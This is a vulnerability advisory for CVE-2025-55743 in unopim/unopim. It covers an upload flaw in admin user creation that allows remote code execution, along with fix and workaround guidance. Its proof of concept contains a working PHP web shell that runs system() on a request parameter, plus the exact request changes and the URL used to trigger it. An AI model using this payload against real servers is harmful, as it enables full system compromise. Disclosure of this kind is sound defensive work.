Description
Summary:
Affected Functionality: Image upload at User creation
Endpoint: /admin/settings/users/create
Details
The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.
Modified part of the multipart request body:
Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
PoC
- Upload an image file as profile picture during user creation , now capture the request and modify.
File content:
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>File name: poc.php Content-Type can be any, doesn't matter. - Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls
// pass the command to run as parameter value for
cmd, example runninglscommand on the system
Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.
Impact
Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn
Recommendation:
Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for unopim/unopim, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update unopim/unopim to 0.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-55743 is resolved across your whole dependency graph.
Workarounds
Treat uploaded files as untrusted until proven otherwise: validate the actual content type rather than the supplied extension, store uploads outside the web root on a volume mounted without execute permission, and rename them to server-generated identifiers so an attacker cannot choose the path a request will later resolve.
